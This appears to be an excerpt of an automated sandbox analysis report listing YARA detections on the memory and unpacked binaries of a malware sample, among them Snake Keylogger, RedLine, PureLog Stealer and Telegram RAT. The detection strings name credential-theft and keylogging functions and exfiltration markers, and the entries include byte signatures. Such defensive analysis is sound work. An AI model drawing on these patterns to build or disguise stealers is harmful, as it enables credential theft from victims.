00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a2ab:$a1: get_encryptedPassword 0x6a27f:$a2: get_encryptedUsername 0x6a343:$a3: get_timePasswordChanged 0x6a25b:$a4: get_passwordField 0x6a2c1:$a5: set_encryptedPassword 0x6a08e:$a7: get_logins 0x667cc:$a10: KeyLoggerEventArgs 0x6679b:$a11: KeyLoggerEventArgsEventHandler 0x6a162:$a13: _encryptedPassword
0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x6312:$x1: $%SMTPDV$ 0x4c3c:$x2: $#TheHashHere%& 0x28340:$x2: $#TheHashHere%& 0x62b2:$x3: %FTPDV$ 0x4c1e:$x4: $%TelegramDv$ 0x28318:$x4: $%TelegramDv$ 0x62da:$m2: Clipboard Logs ID 0x6506:$m2: Screenshot Logs ID 0x6620:$m2: keystroke Logs ID 0x681e:$m3: SnakePW 0x6c2e6:$m3: SnakePW 0x64dc:$m4: \SnakeKeylogger\
00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x6312:$x1: $%SMTPDV$ 0x4c3c:$x2: $#TheHashHere%& 0x28278:$x2: $#TheHashHere%& 0x62b2:$x3: %FTPDV$ 0x4c1e:$x4: $%TelegramDv$ 0x28250:$x4: $%TelegramDv$ 0x62da:$m2: Clipboard Logs ID 0x6506:$m2: Screenshot Logs ID 0x6620:$m2: keystroke Logs ID 0x681e:$m3: SnakePW 0x5bbca:$m3: SnakePW 0x64dc:$m4: \SnakeKeylogger\
Process Memory Space: D.G Governor Istek,Docx.exe PID: 1560	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: xzeheenC.pif PID: 6656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xzeheenC.pif PID: 6656	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: xzeheenC.pif PID: 6656	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: xzeheenC.pif PID: 6656	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb300:$a1: get_encryptedPassword 0x50290:$a1: get_encryptedPassword 0x815f8:$a1: get_encryptedPassword 0xabe4e:$a1: get_encryptedPassword 0xc7acf:$a1: get_encryptedPassword 0xb2d4:$a2: get_encryptedUsername 0x50264:$a2: get_encryptedUsername 0x815cc:$a2: get_encryptedUsername 0xabe22:$a2: get_encryptedUsername 0xc7aa3:$a2: get_encryptedUsername 0xb398:$a3: get_timePasswordChanged 0x50328:$a3: get_timePasswordChanged 0x81690:$a3: get_timePasswordChanged 0xabee6:$a3: get_timePasswordChanged 0xc7b67:$a3: get_timePasswordChanged 0xb2b0:$a4: get_passwordField 0x50240:$a4: get_passwordField 0x815a8:$a4: get_passwordField 0xabdfe:$a4: get_passwordField 0xc7a7f:$a4: get_passwordField 0xb316:$a5: set_encryptedPassword
Process Memory Space: xzeheenC.pif PID: 6656	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x76e7:$x5: KeyLoggerEventArgs 0x7718:$x5: KeyLoggerEventArgs 0x7758:$x5: KeyLoggerEventArgs 0x7787:$x5: KeyLoggerEventArgs 0x4c552:$x5: KeyLoggerEventArgs 0x4c583:$x5: KeyLoggerEventArgs 0x4c5c3:$x5: KeyLoggerEventArgs 0x4c5f2:$x5: KeyLoggerEventArgs 0x7d9df:$x5: KeyLoggerEventArgs 0x7da10:$x5: KeyLoggerEventArgs 0x7da50:$x5: KeyLoggerEventArgs 0x7da7f:$x5: KeyLoggerEventArgs 0xa8235:$x5: KeyLoggerEventArgs 0xa8266:$x5: KeyLoggerEventArgs 0xa82a6:$x5: KeyLoggerEventArgs 0xa82d5:$x5: KeyLoggerEventArgs 0xc3d91:$x5: KeyLoggerEventArgs 0xc3dc2:$x5: KeyLoggerEventArgs 0xc3e02:$x5: KeyLoggerEventArgs 0xc3e31:$x5: KeyLoggerEventArgs 0x3b466:$m2: Clipboard Logs ID
Process Memory Space: xzeheenC.pif PID: 432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xzeheenC.pif PID: 432	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: xzeheenC.pif PID: 432	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: xzeheenC.pif PID: 432	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1bf48:$a1: get_encryptedPassword 0x329c9:$a1: get_encryptedPassword 0x41d51:$a1: get_encryptedPassword 0x9acc2:$a1: get_encryptedPassword 0xb9191:$a1: get_encryptedPassword 0x1bf1c:$a2: get_encryptedUsername 0x3299d:$a2: get_encryptedUsername 0x41d25:$a2: get_encryptedUsername 0x9ac96:$a2: get_encryptedUsername 0xb9165:$a2: get_encryptedUsername 0x1bfe0:$a3: get_timePasswordChanged 0x32a61:$a3: get_timePasswordChanged 0x41de9:$a3: get_timePasswordChanged 0x9ad5a:$a3: get_timePasswordChanged 0xb9229:$a3: get_timePasswordChanged 0x1bef8:$a4: get_passwordField 0x32979:$a4: get_passwordField 0x41d01:$a4: get_passwordField 0x9ac72:$a4: get_passwordField 0xb9141:$a4: get_passwordField 0x1bf5e:$a5: set_encryptedPassword
Process Memory Space: xzeheenC.pif PID: 432	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1832f:$x5: KeyLoggerEventArgs 0x18360:$x5: KeyLoggerEventArgs 0x183a0:$x5: KeyLoggerEventArgs 0x183cf:$x5: KeyLoggerEventArgs 0x2edb0:$x5: KeyLoggerEventArgs 0x2ede1:$x5: KeyLoggerEventArgs 0x2ee21:$x5: KeyLoggerEventArgs 0x2ee50:$x5: KeyLoggerEventArgs 0x3e138:$x5: KeyLoggerEventArgs 0x3e169:$x5: KeyLoggerEventArgs 0x3e1a9:$x5: KeyLoggerEventArgs 0x3e1d8:$x5: KeyLoggerEventArgs 0x96f84:$x5: KeyLoggerEventArgs 0x96fb5:$x5: KeyLoggerEventArgs 0x96ff5:$x5: KeyLoggerEventArgs 0x97024:$x5: KeyLoggerEventArgs 0xb5453:$x5: KeyLoggerEventArgs 0xb5484:$x5: KeyLoggerEventArgs 0xb54c4:$x5: KeyLoggerEventArgs 0xb54f3:$x5: KeyLoggerEventArgs 0xd0c21:$m2: Clipboard Logs ID
Process Memory Space: xzeheenC.pif PID: 2140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xzeheenC.pif PID: 2140	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: xzeheenC.pif PID: 2140	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: xzeheenC.pif PID: 2140	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20f84:$a1: get_encryptedPassword 0x6e4a9:$a1: get_encryptedPassword 0x90026:$a1: get_encryptedPassword 0x9f39f:$a1: get_encryptedPassword 0xe2d2c:$a1: get_encryptedPassword 0x20f58:$a2: get_encryptedUsername 0x6e47d:$a2: get_encryptedUsername 0x8fffa:$a2: get_encryptedUsername 0x9f373:$a2: get_encryptedUsername 0xe2d00:$a2: get_encryptedUsername 0x2101c:$a3: get_timePasswordChanged 0x6e541:$a3: get_timePasswordChanged 0x900be:$a3: get_timePasswordChanged 0x9f437:$a3: get_timePasswordChanged 0xe2dc4:$a3: get_timePasswordChanged 0x20f34:$a4: get_passwordField 0x6e459:$a4: get_passwordField 0x8ffd6:$a4: get_passwordField 0x9f34f:$a4: get_passwordField 0xe2cdc:$a4: get_passwordField 0x20f9a:$a5: set_encryptedPassword
Process Memory Space: xzeheenC.pif PID: 2140	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1d36b:$x5: KeyLoggerEventArgs 0x1d39c:$x5: KeyLoggerEventArgs 0x1d3dc:$x5: KeyLoggerEventArgs 0x1d40b:$x5: KeyLoggerEventArgs 0x6a76b:$x5: KeyLoggerEventArgs 0x6a79c:$x5: KeyLoggerEventArgs 0x6a7dc:$x5: KeyLoggerEventArgs 0x6a80b:$x5: KeyLoggerEventArgs 0x8c40d:$x5: KeyLoggerEventArgs 0x8c43e:$x5: KeyLoggerEventArgs 0x8c47e:$x5: KeyLoggerEventArgs 0x8c4ad:$x5: KeyLoggerEventArgs 0x9b786:$x5: KeyLoggerEventArgs 0x9b7b7:$x5: KeyLoggerEventArgs 0x9b7f7:$x5: KeyLoggerEventArgs 0x9b826:$x5: KeyLoggerEventArgs 0xdf113:$x5: KeyLoggerEventArgs 0xdf144:$x5: KeyLoggerEventArgs 0xdf184:$x5: KeyLoggerEventArgs 0xdf1b3:$x5: KeyLoggerEventArgs 0xbd6e8:$m2: Clipboard Logs ID
Click to see the 89 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.xzeheenC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
13.1.xzeheenC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
13.2.xzeheenC.pif.31d76478.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.31d76478.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
13.2.xzeheenC.pif.31d76478.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
4.2.xzeheenC.pif.1d270f08.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1d270f08.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1d270f08.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
13.2.xzeheenC.pif.3092b98e.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.3092b98e.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.3092b98e.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
13.2.xzeheenC.pif.3092b98e.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
4.2.xzeheenC.pif.1e32e790.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1e32e790.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1e32e790.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
13.2.xzeheenC.pif.31dae790.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.31dae790.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.31dae790.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
13.2.xzeheenC.pif.31dae790.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
4.2.xzeheenC.pif.1f670000.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1f670000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1f670000.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1f670000.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
13.2.xzeheenC.pif.3092c896.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.3092c896.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
13.2.xzeheenC.pif.3092c896.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
9.2.xzeheenC.pif.370d0000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.370d0000.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
9.2.xzeheenC.pif.370d0000.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
6.2.Cneehezx.PIF.21496c78.5.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x5bce0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x3ecb0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x3f330:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x5d9ba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x5d600:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x5cab8:$s6: constructor or from DllMain.
4.2.xzeheenC.pif.1e2f6478.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1e2f6478.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1e2f6478.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
13.2.xzeheenC.pif.31d76478.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.31d76478.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.31d76478.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x60d2d:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x60d01:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x60dc5:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x60cdd:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x60d43:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x60b10:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x5d24e:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x5d21d:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword 0x60be4:$a13: _encryptedPassword
13.2.xzeheenC.pif.31d76478.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x5f575:$s1: UnHook 0x271f9:$s2: SetHook 0x5f511:$s2: SetHook 0x27232:$s3: CallNextHook 0x5f54a:$s3: CallNextHook 0x271c1:$s4: _hook 0x5f4d9:$s4: _hook
13.2.xzeheenC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
9.2.xzeheenC.pif.3558e790.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.xzeheenC.pif.3558e790.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.3558e790.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
9.2.xzeheenC.pif.3558e790.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
9.2.xzeheenC.pif.342cb98e.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.342cb98e.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
9.2.xzeheenC.pif.342cb98e.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
4.2.xzeheenC.pif.1d270f08.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1d270f08.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1d270f08.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1d270f08.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
4.2.xzeheenC.pif.1ce5c896.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
